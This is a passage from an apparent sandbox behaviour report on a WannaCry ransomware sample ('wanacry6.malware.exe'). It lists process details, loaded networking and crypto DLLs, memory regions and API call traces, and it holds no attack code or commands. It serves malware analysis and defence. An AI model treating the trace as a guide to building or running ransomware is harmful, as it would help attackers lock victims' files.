lpMsg=0x26a4a5f618) returned 0 [0037.189] SetCurrentDirectoryW (lpPathName="C:\\Users\\5JgHKoaOfdp\\Desktop" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 1 [0037.189] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x30d40, fWinIni=0x2 | out: pvParam=0x30d40) returned 1 [0037.200] mciSendStringW (in: lpstrCommand="close all", lpstrReturnString=0x0, uReturnLength=0x0, hwndCallback=0x0 | out: lpstrReturnString=0x0) returned 0x0 [0037.201] OleUninitialize () [0037.202] DestroyCursor (hCursor=0x6a01a7) returned 0 [0037.202] ExitProcess (uExitCode=0x0) Process: id = "23" image_name = "wanacr~1.exe" filename = "c:\\users\\5jghko~1\\desktop\\wanacr~1.exe" page_root = "0x572fa000" os_pid = "0x9c0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "22" os_parent_pid = "0x87c" cmd_line = "C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE" cur_dir = "C:\\Users\\5JgHKoaOfdp\\Desktop\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c455" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1793 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1794 start_va = 0xb61d60000 end_va = 0xb61d7ffff entry_point = 0x0 region_type = private name = "private_0x0000000b61d60000" filename = "" Region: id = 1795 start_va = 0xb61d80000 end_va = 0xb61d8efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000b61d80000" filename = "" Region: id = 1796 start_va = 0xb61d90000 end_va = 0xb6218ffff entry_point = 0x0 region_type = private name = "private_0x0000000b61d90000" filename = "" Region: id = 1797 start_va = 0xb62190000 end_va = 0xb62193fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000b62190000" filename = "" Region: id = 1798 start_va = 0xb621a0000 end_va = 0xb621a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000b621a0000" filename = "" Region: id = 1799 start_va = 0xb621b0000 end_va = 0xb621b1fff entry_point = 0x0 region_type = private name = "private_0x0000000b621b0000" filename = "" Region: id = 1800 start_va = 0x7ff7560f0000 end_va = 0x7ff756112fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7560f0000" filename = "" Region: id = 1801 start_va = 0x7ff75611d000 end_va = 0x7ff75611efff entry_point = 0x0 region_type = private name = "private_0x00007ff75611d000" filename = "" Region: id = 1802 start_va = 0x7ff75611f000 end_va = 0x7ff75611ffff entry_point = 0x0 region_type = private name = "private_0x00007ff75611f000" filename = "" Region: id = 1803 start_va = 0x7ff756b50000 end_va = 0x7ff756c58fff entry_point = 0x7ff756b7fa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\wanacry6.malware.exe" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\wanacry6.malware.exe") Region: id = 1804 start_va = 0x7ffe2cb20000 end_va = 0x7ffe2ccc8fff entry_point = 0x7ffe2cb20000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1806 start_va = 0xb622e0000 end_va = 0xb626dffff entry_point = 0x0 region_type = private name = "private_0x0000000b622e0000" filename = "" Region: id = 1807 start_va = 0x7ffe2a070000 end_va = 0x7ffe2a17dfff entry_point = 0x7ffe2a0722a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1808 start_va = 0x7ffe2a640000 end_va = 0x7ffe2a778fff entry_point = 0x7ffe2a645034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1809 start_va = 0xb61d60000 end_va = 0xb61d6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000b61d60000" filename = "" Region: id = 1810 start_va = 0xb61d70000 end_va = 0xb61d76fff entry_point = 0x0 region_type = private name = "private_0x0000000b61d70000" filename = "" Region: id = 1811 start_va = 0xb621c0000 end_va = 0xb6223dfff entry_point = 0xb621c0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1812 start_va = 0xb62240000 end_va = 0xb62246fff entry_point = 0x0 region_type = private name = "private_0x0000000b62240000" filename = "" Region: id = 1813 start_va = 0xb62250000 end_va = 0xb62250fff entry_point = 0x0 region_type = private name = "private_0x0000000b62250000" filename = "" Region: id = 1814 start_va = 0xb62260000 end_va = 0xb62260fff entry_point = 0x0 region_type = private name = "private_0x0000000b62260000" filename = "" Region: id = 1815 start_va = 0xb626e0000 end_va = 0xb62867fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000b626e0000" filename = "" Region: id = 1816 start_va = 0xb62890000 end_va = 0xb6289ffff entry_point = 0x0 region_type = private name = "private_0x0000000b62890000" filename = "" Region: id = 1817 start_va = 0xb628a0000 end_va = 0xb62a20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000b628a0000" filename = "" Region: id = 1818 start_va = 0xb62a30000 end_va = 0xb63e2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000b62a30000" filename = "" Region: id = 1819 start_va = 0x7ff755ff0000 end_va = 0x7ff7560effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff755ff0000" filename = "" Region: id = 1820 start_va = 0x7ffe21e80000 end_va = 0x7ffe21e89fff entry_point = 0x7ffe21e810c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1821 start_va = 0x7ffe22ac0000 end_va = 0x7ffe22ae9fff entry_point = 0x7ffe22aca768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 1822 start_va = 0x7ffe22af0000 end_va = 0x7ffe22b0efff entry_point = 0x7ffe22af23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 1823 start_va = 0x7ffe24b90000 end_va = 0x7ffe24baafff entry_point = 0x7ffe24b91050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 1824 start_va = 0x7ffe24bb0000 end_va = 0x7ffe24e57fff entry_point = 0x7ffe24bbddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 1825 start_va = 0x7ffe24e60000 end_va = 0x7ffe2509ffff entry_point = 0x7ffe24e613f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 1826 start_va = 0x7ffe25c20000 end_va = 0x7ffe25c29fff entry_point = 0x7ffe25c210c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1827 start_va = 0x7ffe25c90000 end_va = 0x7ffe25c98fff entry_point = 0x7ffe25c91080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 1828 start_va = 0x7ffe25f10000 end_va = 0x7ffe25f38fff entry_point = 0x7ffe25f17968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1829 start_va = 0x7ffe280b0000 end_va = 0x7ffe28309fff entry_point = 0x7ffe280b4740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 1830 start_va = 0x7ffe28760000 end_va = 0x7ffe28800fff entry_point = 0x7ffe287610a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 1831 start_va = 0x7ffe28ba0000 end_va = 0x7ffe28cc1fff entry_point = 0x7ffe28bab444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1832 start_va = 0x7ffe28d20000 end_va = 0x7ffe28d45fff entry_point = 0x7ffe28d2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1833 start_va = 0x7ffe29460000 end_va = 0x7ffe2947efff entry_point = 0x7ffe294612f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1834 start_va = 0x7ffe29ea0000 end_va = 0x7ffe29eb3fff entry_point = 0x7ffe29ea3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1835 start_va = 0x7ffe2a360000 end_va = 0x7ffe2a3a9fff entry_point = 0x7ffe2a361258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1836 start_va = 0x7ffe2a3b0000 end_va = 0x7ffe2a520fff entry_point = 0x7ffe2a3d5ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1837 start_va = 0x7ffe2a530000 end_va = 0x7ffe2a586fff entry_point = 0x7ffe2a532500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1838 start_va = 0x7ffe2a590000 end_va = 0x7ffe2a634fff entry_point = 0x7ffe2a591010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1839 start_va = 0x7ffe2a780000 end_va = 0x7ffe2a836fff entry_point = 0x7ffe2a781120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1840 start_va = 0x7ffe2a8b0000 end_va = 0x7ffe2a956fff entry_point = 0x7ffe2a8b282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1841 start_va = 0x7ffe2a960000 end_va = 0x7ffe2aaa4fff entry_point = 0x7ffe2a971c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1842 start_va = 0x7ffe2aab0000 end_va = 0x7ffe2bebefff entry_point = 0x7ffe2aab1100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1843 start_va = 0x7ffe2bf40000 end_va = 0x7ffe2c116fff entry_point = 0x7ffe2bf41f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1844 start_va = 0x7ffe2c1d0000 end_va = 0x7ffe2c203fff entry_point = 0x7ffe2c1d1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1845 start_va = 0x7ffe2c210000 end_va = 0x7ffe2c385fff entry_point = 0x7ffe2c2110b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1846 start_va = 0x7ffe2c390000 end_va = 0x7ffe2c4c7fff entry_point = 0x7ffe2c391010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1847 start_va = 0x7ffe2c4d0000 end_va = 0x7ffe2c527fff entry_point = 0x7ffe2c4d109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1848 start_va = 0x7ffe2c710000 end_va = 0x7ffe2c7a9fff entry_point = 0x7ffe2c7111a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 1849 start_va = 0x7ffe2c7b0000 end_va = 0x7ffe2c8e5fff entry_point = 0x7ffe2c7b1150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1850 start_va = 0x7ffe2caa0000 end_va = 0x7ffe2caa6fff entry_point = 0x7ffe2caa1010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 1851 start_va = 0x7ffe2cab0000 end_va = 0x7ffe2cab8fff entry_point = 0x7ffe2cab1400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1852 start_va = 0x7ffe2cac0000 end_va = 0x7ffe2cb10fff entry_point = 0x7ffe2cac12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1853 start_va = 0xb62280000 end_va = 0xb62281fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000b62280000" filename = "" Region: id = 1854 start_va = 0xb63fa0000 end_va = 0xb63faffff entry_point = 0x0 region_type = private name = "private_0x0000000b63fa0000" filename = "" Region: id = 1855 start_va = 0xb63e30000 end_va = 0xb63ee9fff entry_point = 0xb63e5c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 1856 start_va = 0x7ffe28d70000 end_va = 0x7ffe28d79fff entry_point = 0x7ffe28d71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1857 start_va = 0x7ffe29e80000 end_va = 0x7ffe29e89fff entry_point = 0x7ffe29e81010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1858 start_va = 0x7ffe29cb0000 end_va = 0x7ffe29d0dfff entry_point = 0x7ffe29ccf6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1859 start_va = 0xb62270000 end_va = 0xb62270fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000b62270000" filename = "" Region: id = 1860 start_va = 0xb63e30000 end_va = 0xb63f1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000b63e30000" filename = "" Region: id = 1861 start_va = 0xb62270000 end_va = 0xb62273fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000b62270000" filename = "" Region: id = 1862 start_va = 0xb62290000 end_va = 0xb62296fff entry_point = 0x0 region_type = private name = "private_0x0000000b62290000" filename = "" Region: id = 1863 start_va = 0xb63fb0000 end_va = 0xb640affff entry_point = 0x0 region_type = private name = "private_0x0000000b63fb0000" filename = "" Region: id = 1864 start_va = 0xb640b0000 end_va = 0xb641b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000b640b0000" filename = "" Region: id = 1865 start_va = 0xb622a0000 end_va = 0xb622a0fff entry_point = 0x0 region_type = private name = "private_0x0000000b622a0000" filename = "" Region: id = 1866 start_va = 0x7ffe28580000 end_va = 0x7ffe285a0fff entry_point = 0x7ffe28581100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 1867 start_va = 0xb640b0000 end_va = 0xb64384fff entry_point = 0xb640b0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1868 start_va = 0xb622b0000 end_va = 0xb622b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000b622b0000" filename = "" Region: id = 1869 start_va = 0xb622c0000 end_va = 0xb622c0fff entry_point = 0x0 region_type = private name = "private_0x0000000b622c0000" filename = "" Region: id = 1870 start_va = 0xb64390000 end_va = 0xb64881fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000b64390000" filename = "" Region: id = 1871 start_va = 0xb64890000 end_va = 0xb656fffff entry_point = 0xb64890000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 1872 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1873 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1874 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1875 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1876 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1877 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1878 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1879 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1880 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1881 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1882 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1883 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1884 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1885 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1886 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1887 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1888 start_va = 0x7ffe26550000 end_va = 0x7ffe26564fff entry_point = 0x7ffe26551040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1889 start_va = 0x7ffe29750000 end_va = 0x7ffe2975bfff entry_point = 0x7ffe2975145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1890 start_va = 0x7ffe29c20000 end_va = 0x7ffe29c44fff entry_point = 0x7ffe29c21074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1891 start_va = 0x7ffe26510000 end_va = 0x7ffe26525fff entry_point = 0x7ffe26511048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1892 start_va = 0xb622d0000 end_va = 0xb622d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000b622d0000" filename = "" Region: id = 1893 start_va = 0xb65700000 end_va = 0xb65917fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000b65700000" filename = "" Region: id = 1894 start_va = 0xb65920000 end_va = 0xb687b5fff entry_point = 0xb65920000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 1895 start_va = 0xb622d0000 end_va = 0xb622d2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000b622d0000" filename = "" Region: id = 1896 start_va = 0xb62870000 end_va = 0xb62870fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000b62870000" filename = "" Region: id = 1897 start_va = 0xb63f20000 end_va = 0xb63f63fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000b63f20000" filename = "" Region: id = 1898 start_va = 0xb687c0000 end_va = 0xb68bb9fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000b687c0000" filename = "" Region: id = 1899 start_va = 0x7ffe29760000 end_va = 0x7ffe2977dfff entry_point = 0x7ffe297611c8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1900 start_va = 0x7ffe29350000 end_va = 0x7ffe29384fff entry_point = 0x7ffe293513d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1901 start_va = 0x7ffe29990000 end_va = 0x7ffe299b5fff entry_point = 0x7ffe29995b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1914 start_va = 0xb63f70000 end_va = 0xb63f94fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000b63f70000" filename = "" Thread: id = 138 os_tid = 0x9c8 [0037.324] GetStartupInfoW (in: lpStartupInfo=0xb6218fea0 | out: lpStartupInfo=0xb6218fea0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0037.325] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x7ffe2a640000 [0037.325] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsAlloc") returned 0x7ffe2a643de0 [0037.325] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsFree") returned 0x7ffe2a643ea8 [0037.325] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsGetValue") returned 0x7ffe2a64165c [0037.325] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlsSetValue") returned 0x7ffe2a64164c [0037.325] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="InitializeCriticalSectionEx") returned 0x7ffe2a6434d0 [0037.325] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateEventExW") returned 0x7ffe2a65bba4 [0037.326] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateSemaphoreExW") returned 0x7ffe2a6f8b10 [0037.326] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadStackGuarantee") returned 0x7ffe2a644020 [0037.326] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateThreadpoolTimer") returned 0x7ffe2a64415c [0037.326] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadpoolTimer") returned 0x7ffe2cb4ac78 [0037.326] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7ffe2cb93808 [0037.326] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseThreadpoolTimer") returned 0x7ffe2cb4ba8c [0037.326] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateThreadpoolWait") returned 0x7ffe2a64a4e8 [0037.326] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetThreadpoolWait") returned 0x7ffe2cb97284 [0037.326] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseThreadpoolWait") returned 0x7ffe2cb926cc [0037.326] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FlushProcessWriteBuffers") returned 0x7ffe2cbb7300 [0037.326] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7ffe2cb96e94 [0037.326] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetCurrentProcessorNumber") returned 0x7ffe2cbb6190 [0037.327] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetLogicalProcessorInformation") returned 0x7ffe2a644780 [0037.327] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateSymbolicLinkW") returned 0x7ffe2a71d040 [0037.327] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="SetDefaultDllDirectories") returned 0x7ffe2a148320 [0037.327] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="EnumSystemLocalesEx") returned 0x7ffe2a71d1c0 [0037.327] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CompareStringEx") returned 0x7ffe2a6443cc [0037.327] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetDateFormatEx") returned 0x7ffe2a71d2b8 [0037.327] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetLocaleInfoEx") returned 0x7ffe2a644060 [0037.327] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetTimeFormatEx") returned 0x7ffe2a6f8fc0 [0037.327] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetUserDefaultLocaleName") returned 0x7ffe2a644050 [0037.327] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="IsValidLocaleName") returned 0x7ffe2a6441d0 [0037.327] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="LCMapStringEx") returned 0x7ffe2a643fe0 [0037.327] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="GetCurrentPackageId") returned 